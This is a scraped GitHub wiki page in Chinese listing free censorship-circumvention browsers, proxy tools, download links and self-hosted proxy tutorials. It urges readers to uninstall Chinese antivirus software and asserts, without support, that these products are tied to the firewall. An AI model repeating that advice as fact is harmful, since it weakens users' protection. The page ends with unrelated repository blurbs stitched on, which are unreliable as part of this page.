mb-1" for="limited-availability-truncate-true"> Busy </label> <p class="note" id="limited-availability-help-text-truncate-true"> When others mention you, assign you, or request your review, GitHub will let them know that you have limited availability. </p> </div> </div> </div> <include-fragment class="js-user-status-org-picker" data-url="/users/status/organizations"></include-fragment> </div> <div class="d-flex flex-items-center flex-justify-between p-3 border-top"> <button type="submit" disabled class="width-full btn btn-primary mr-2 js-user-status-submit"> Set status </button> <button type="button" disabled class="width-full js-clear-user-status-button btn ml-2 "> Clear status </button> </div> </form> </details-dialog> </details> </div> </div> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="/p4g5" data-ga-click="Header, go to profile, text:your profile">Your profile</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=repositories" data-ga-click="Header, go to repositories, text:your repositories">Your repositories</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=projects" data-ga-click="Header, go to projects, text:your projects">Your projects</a> <a role="menuitem" class="dropdown-item" href="/p4g5?tab=stars" data-ga-click="Header, go to starred repos, text:your stars">Your stars</a> <a role="menuitem" class="dropdown-item" href="https://gist.github.com/" data-ga-click="Header, your gists, text:your gists">Your gists</a> <div role="none" class="dropdown-divider"></div> <a role="menuitem" class="dropdown-item" href="https://help.github.com" data-ga-click="Header, go to help, text:help">Help</a> <a role="menuitem" class="dropdown-item" href="/settings/profile" data-ga-click="Header, go to settings, icon:settings">Settings</a> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="logout-form" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="Y8HcCFJNTD+hYd7Kv9FtT+Xxj7WUTAFihH0C9cLChd+JHtM9aCiGPnCGrrkcg/KpMKG0LJm8JbL5T2kPHqYNjQ==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout" role="menuitem"> Sign out </button> </form> </details-menu> </details> </li> </ul> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="d-lg-none" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="oluBBaw9qfMJXUP8GdR5bZc9/Gw7dMAE2fQ5JlOw2OBIhI4wllhj8ti6M4+6huaLQm3H9TaE5NSkxlLcj9RQsg==" /> <button type="submit" class="btn-link HeaderNavlink d-block width-full text-left py-2 text-bold" data-ga-click="Header, sign out, icon:logout" style="padding-left: 2px;"> <svg class="octicon octicon-sign-out v-align-middle" style="margin-right: 2px;" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 9V7H8V5h4V3l4 3-4 3zm-2 3H6V3L2 1h8v3h1V1c0-.55-.45-1-1-1H1C.45 0 0 .45 0 1v11.38c0 .39.22.73.55.91L6 16.01V13h4c.55 0 1-.45 1-1V8h-1v4z"/></svg> Sign out </button> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="sr-only right-0" action="/logout" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="b0Bgz4mqScE7zq0QVm08tZv5z1OzCVx+ozCI3NlInJaFn2/6s8+DwOop3WP1P6NTTqn0yr75eK7eAuMmBSwUxA==" /> <button type="submit" class="dropdown-item dropdown-signout" data-ga-click="Header, sign out, icon:logout"> Sign out </button> </form> </div> </div> </div> </header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container"> </div> <div role="main" class="application-main " data-commit-hovercards-enabled> <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <div > <div class="pagehead repohead instapaper_ignore readability-menu experiment-repo-nav pt-0 pt-lg-3 "> <div class="repohead-details-container clearfix container-lg p-responsive d-none d-lg-block"> <ul class="pagehead-actions"> <li> <!-- '"` --><!-- </textarea></xmp> --></option></form><form data-remote="true" class="js-social-form js-social-container" action="/notifications/subscribe" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="KK6/k23EkvBozTQwWgEA5FH8ZX5XVrBLzcGpR4JinAhq7/tIjemrK8lhd0do997jcIFVbSagHOTaRJTrAyLvEQ==" /> <input type="hidden" name="repository_id" id="repository_id" value="54544023" class="form-control" /> <details class="details-reset details-overlay select-menu float-left"> <summary class="btn btn-sm btn-with-count select-menu-button" data-ga-click="Repository, click Watch settings, action:wiki#index"> <span data-menu-button> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </summary> <details-menu class="select-menu-modal position-absolute mt-5" style="z-index: 99;"> <div class="select-menu-header"> <span class="select-menu-title">Notifications</span> </div> <div class="select-menu-list"> <button type="submit" name="do" value="included" class="select-menu-item width-full" aria-checked="true" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Not watching</span> <span class="description">Be notified only when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Watch </span> </div> </button> <button type="submit" name="do" value="release_only" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Releases only</span> <span class="description">Be notified of new releases, and when participating or @mentioned.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch releases </span> </div> </button> <button type="submit" name="do" value="subscribed" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Watching</span> <span class="description">Be notified of all conversations.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-eye v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.06 2C3 2 0 8 0 8s3 6 8.06 6C13 14 16 8 16 8s-3-6-7.94-6zM8 12c-2.2 0-4-1.78-4-4 0-2.2 1.8-4 4-4 2.22 0 4 1.8 4 4 0 2.22-1.78 4-4 4zm2-4c0 1.11-.89 2-2 2-1.11 0-2-.89-2-2 0-1.11.89-2 2-2 1.11 0 2 .89 2 2z"/></svg> Unwatch </span> </div> </button> <button type="submit" name="do" value="ignore" class="select-menu-item width-full" aria-checked="false" role="menuitemradio"> <svg class="octicon octicon-check select-menu-item-icon" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M12 5l-8 8-4-4 1.5-1.5L4 10l6.5-6.5L12 5z"/></svg> <div class="select-menu-item-text"> <span class="select-menu-item-heading">Ignoring</span> <span class="description">Never be notified.</span> <span class="hidden-select-button-text" data-menu-button-contents> <svg class="octicon octicon-mute v-align-text-bottom" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8 2.81v10.38c0 .67-.81 1-1.28.53L3 10H1c-.55 0-1-.45-1-1V7c0-.55.45-1 1-1h2l3.72-3.72C7.19 1.81 8 2.14 8 2.81zm7.53 3.22l-1.06-1.06-1.97 1.97-1.97-1.97-1.06 1.06L11.44 8 9.47 9.97l1.06 1.06 1.97-1.97 1.97 1.97 1.06-1.06L13.56 8l1.97-1.97z"/></svg> Stop ignoring </span> </div> </button> </div> </details-menu> </details> <a class="social-count js-social-count" href="/Alvin9999/new-pac/watchers" aria-label="885 users are watching this repository"> 885 </a> </form> </li> <li> <div class="js-toggler-container js-social-container starring-container "> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="starred js-social-form" action="/Alvin9999/new-pac/unstar" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" value="GTo3eO2YhEo8L7lENMkL+RSLnBTchg9YTdhcTMAWPQx/JBU/tuW7iAaYUuM24agiYdiJviImlX0ddi4rMZdncg==" /> <input type="hidden" name="context" value="repository"></input> <button type="submit" class="btn btn-sm btn-with-count js-toggler-target" aria-label="Unstar this repository" title="Unstar Alvin9999/new-pac" data-ga-click="Repository, click unstar button, action:wiki#index; text:Unstar"> <svg class="octicon octicon-star v-align-text-bottom" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 6l-4.9-.64L7 1 4.9 5.36 0 6l3.6 3.26L2.67 14 7 11.67 11.33 14l-.93-4.74L14 6z"/></svg> Unstar </button> <a class="social-count js-social-count" href="/Alvin9999/new-pac/stargazers" aria-label="10597 users starred this repository"> 10,597 </a> </form> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="unstarred js-social-form" action="/Alvin9999/new-pac/star" accept-charset="UTF-8" method="post"><input name="utf8" type="hidden" value="✓" /><input type="hidden" name="authenticity_token" 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class="container-lg new-discussion-timeline experiment-repo-nav p-responsive"> <div class="repository-content "> <div id="wiki-wrapper" class="page"> <div class="d-flex flex-column flex-md-row gh-header"> <h1 class="flex-auto min-width-0 mb-2 mb-md-0 mr-0 mr-md-2 gh-header-title instapaper_title">Home</h1> <div class="mt-0 mt-lg-1 flex-shrink-0 gh-header-actions"> <a href="#wiki-pages-box" class="d-md-none ">Jump to bottom</a> </div> </div> <div class="mt-2 mt-md-1 pb-3 gh-header-meta"> 自由上网 edited this page <relative-time datetime="2019-02-19T14:44:48Z">Feb 19, 2019</relative-time> · <a href="/Alvin9999/new-pac/wiki/Home/_history" class="muted-link"> 1061 revisions </a> </div> <div id="wiki-content" class="d-flex flex-column flex-md-row"> <div id="wiki-body" class="mt-4 flex-auto min-width-0 gollum-markdown-content instapaper_body"> <div class="markdown-body"> <h3> <a id="user-content-自由上网方法" class="anchor" href="#%E8%87%AA%E7%94%B1%E4%B8%8A%E7%BD%91%E6%96%B9%E6%B3%95" aria-hidden="true"><svg class="octicon octicon-link" viewbox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong><strong>自由上网方法</strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong></strong> </h3> <pre><code> 一键翻墙浏览器 </code></pre> <p>永久免费。不用安装，无需设置，解压后使用。稳定、流畅、高速，长期更新。</p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/%E5%9B%BE%E6%A0%87.PNG" alt=""></p> <p><strong>介绍</strong>：GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版，适合windows操作系统，比如：Xp、win7、win8、win10系统。浏览器自带翻译插件和YouTube视频下载脚本，方便且实用。压缩包文件的格式是7z，如果解压出错，用7解压软件来解压（<a href="https://sparanoid.com/lab/7z/" rel="nofollow">7z解压软件下载地址</a>）。</p> <p><strong>注意</strong>：软件都是采用加密方式的，但为了更稳定、更安全的翻墙，建议卸载国产杀毒软件，至少翻墙时不要用它们！因为很多国产杀毒软件，比如360安全卫生、360杀毒软件、腾讯管家、金山卫士等不仅仅会起干扰作用，造成软件无法正常使用或速度变慢，它们与防火墙还有千丝万缕的关系!其实win10自带的defender就有杀毒的功能，如果还需要安全软件，可以用国外的杀毒软件<a href="http://files.avast.com/iavs9x/avast_free_antivirus_setup_offline.exe" rel="nofollow">avast</a>，防火墙<a href="https://github.com/henrypp/simplewall/releases/download/v.2.3.4/simplewall-2.3.4-setup.exe">simplewall</a>，还有清理软件<a href="http://downloads.wisecleaner.com/soft/WiseCare365.exe" rel="nofollow">wisecare365</a>。它们都是免费的，而且不会干扰电脑运行。</p> <p><strong>选择指南</strong>：有GoProxy ipv6版、GoAgent ipv6版、v2ray版、SSR版、赛风版、WuJie版、FreeGate版、SkyZip版,可以按照顺序依次尝试。由于国内网络环境不同、地区不同，封锁强度会不同，所以使用效果会有差别，有的地区几乎所有的软件都能使用，有的只能用几款，因此具体哪款软件适合你的网络环境，需要你自己来尝试。内存低于2G的电脑建议用<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>。还有<a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a>可供选择，电脑、手机、平板都能使用。如果想自己搭建翻墙服务器，可以学习<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss/ssr服务器教程</a>或<a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a>。</p> <p><strong>2018年6月6日</strong>：发布<a href="https://gitlab.com/Alvin9999/free/wikis/home" rel="nofollow">备用项目地址</a> 。</p> <p><strong>2019年1月18日公告</strong>：ipv6版国内大多数地区已失效，如果你无法使用ipv6版，请更换其它类型的软件。</p> <p><strong>推荐YouTube视频频道</strong>：<a href="https://www.youtube.com/channel/UCa6ERCDt3GzkvLye32ar89w/videos" rel="nofollow">历史上的今天</a> <a href="https://www.youtube.com/channel/UCtAIPjABiQD3qjlEl1T5VpA/featured" rel="nofollow">文昭談古論今</a></p> <hr> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E9%AB%98%E5%86%85%E6%A0%B8%E7%89%88">谷歌浏览器69高内核版</a> （2019年2月16日更新无界版本至19.02,更新自由门版本至7.66）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/ipv6%E5%BC%80%E5%90%AF%E6%96%B9%E6%B3%95">ipv6开启方法</a> （2018年6月22日更新方法）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoAgent-ipv6%E7%89%88">谷歌浏览器低内核GoAgent ipv6版</a> （2018年12月20日云端更新GoAgent ipv6）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/v2ray%E7%89%88">谷歌浏览器低内核v2ray版</a> （2018年12月27日云端更新v2ray配置信息）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SSR%E7%89%88">谷歌浏览器低内核SSR版</a> （2018年9月23日更新版本）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B5%9B%E9%A3%8E%E7%89%88">谷歌浏览器低内核赛风版</a> （2018年9月23日更新版本）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/FreeGate%E5%92%8CWuJie%E7%89%88">谷歌浏览器低内核FreeGate和WuJie版</a>（2019年2月16日更新无界版本至19.02,更新自由门版本至7.66）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/SkyZip%E7%89%88">谷歌浏览器低内核SkyZip版</a>（2018年9月23日更新版本）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/GoProxy-ipv6%E7%89%88">谷歌浏览器低内核GoProxy ipv6版</a> （2018年9月23日更新版本）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a>（2019年2月16日更新无界版本至19.02,更新自由门版本至7.66）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a> （2018年1月31日更新）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%B0%B7%E6%AD%8C%E9%95%9C%E5%83%8F">谷歌镜像</a> （2018年10月28日更新）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建SS/SSR服务器教程</a> （2018年11月21日增加SS/SSR部署备用脚本）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a> （2019年2月11日更新一键部署v2ray脚本）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%89%E5%8D%93%E6%89%8B%E6%9C%BA%E7%89%88">安卓手机版</a>（2018年6月24日更新聚缘阁安卓版）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙方法</a>（2018年2月24日更新）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">MAC翻墙方法</a>（2017年12月25日删除无效方法）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙方法</a>（2018年2月4日更新）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/Linux%E7%B3%BB%E7%BB%9F%E7%BF%BB%E5%A2%99%E6%96%B9%E6%B3%95">Linux系统翻墙方法</a> （2018年5月30日增加Linux SSR 使用方法二）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/YouTube%E4%B8%8B%E8%BD%BD1080%E6%95%99%E7%A8%8B">YouTube下载1080教程</a> （2018年11月25日发布）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a> （2018年4月26日更新）</p> <p><a href="https://github.com/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a> （推荐两本关于网络安全的书籍）</p> <hr> <p>真心希望大家都能够突破网络封锁、获得真相，祝愿每位善良的人都能拥有一个美好的未来。</p> <p>2019年神韵晚会超清预告片<a href="http://108.61.224.82:8000/f/ddd18239a6/" rel="nofollow">在线观看或下载</a></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/shenyun003.jpg" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/1.JPG" alt=""></p> <p><img src="https://raw.githubusercontent.com/Alvin9999/pac2/master/2.JPG" alt=""></p> <hr> <p>有问题可以发帖<a href="https://github.com/Alvin9999/new-pac/issues">反馈交流</a>，或者发邮件到海外邮箱<a href="mailto:kebi2014@gmail.com">kebi2014@gmail.com</a>进行反馈，反馈邮件标题最好注明什么软件及截图。</p> </div> </div> <div id="wiki-rightbar" class="mt-4 ml-md-6 flex-shrink-0 width-full wiki-rightbar"> <div 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href="/Alvin9999/new-pac/wiki/%E5%AE%9E%E7%94%A8%E7%BD%91%E7%BB%9C%E5%B0%8F%E7%9F%A5%E8%AF%86">实用网络小知识</a></strong> </li> <li class="Box-row"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E5%B9%B3%E6%9D%BF%E7%94%B5%E8%84%91%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">平板电脑翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E6%95%B0%E5%AD%97%E5%AE%89%E5%85%A8%E6%89%8B%E5%86%8C">数字安全手册</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%81%AB%E7%8B%90%E7%BF%BB%E5%A2%99%E6%B5%8F%E8%A7%88%E5%99%A8">火狐翻墙浏览器</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E7%9B%B4%E7%BF%BB%E9%80%9A%E9%81%93">直翻通道</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAgoogle-appid%E6%95%99%E7%A8%8B">自建google appid教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAss%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建ss服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%87%AA%E5%BB%BAv2ray%E6%9C%8D%E5%8A%A1%E5%99%A8%E6%95%99%E7%A8%8B">自建v2ray服务器教程</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E6%89%8B%E6%9C%BA%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果手机翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" href="/Alvin9999/new-pac/wiki/%E8%8B%B9%E6%9E%9C%E7%94%B5%E8%84%91MAC%E7%BF%BB%E5%A2%99%E8%BD%AF%E4%BB%B6">苹果电脑MAC翻墙软件</a></strong> </li> <li class="Box-row wiki-more-pages"> <strong><a class="d-block" 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CrankAddict / Section 11Evidence-based endurance coaching protocol for any AI/LLM. Deterministic training guidance with Intervals.icu integration.
ropensci / Athlytics🏃 An R package for advanced sports performance analysis and training load monitoring using Strava data.
shreyas0906 / Object Detection With Deep Learning And Sliding WindowIntroduces an approach for object detection in an image with sliding window. The repository contains three files, make_data.py reads the image in gray scale and converts the image into a numpy array. The labels are also appended based on the file name. In this case, if the file name starts with "trn", then 1 is appended else 0. Finally, all the images and labels are saved into .npy file. The test-model-1.py file loads the images and converts the labels into two categories as we are doing binary classification of images. The model is built using keras with theano as backend. In this case, the best training accuracy was 80% since the data was just 500 images and the testing accuracy was 67%
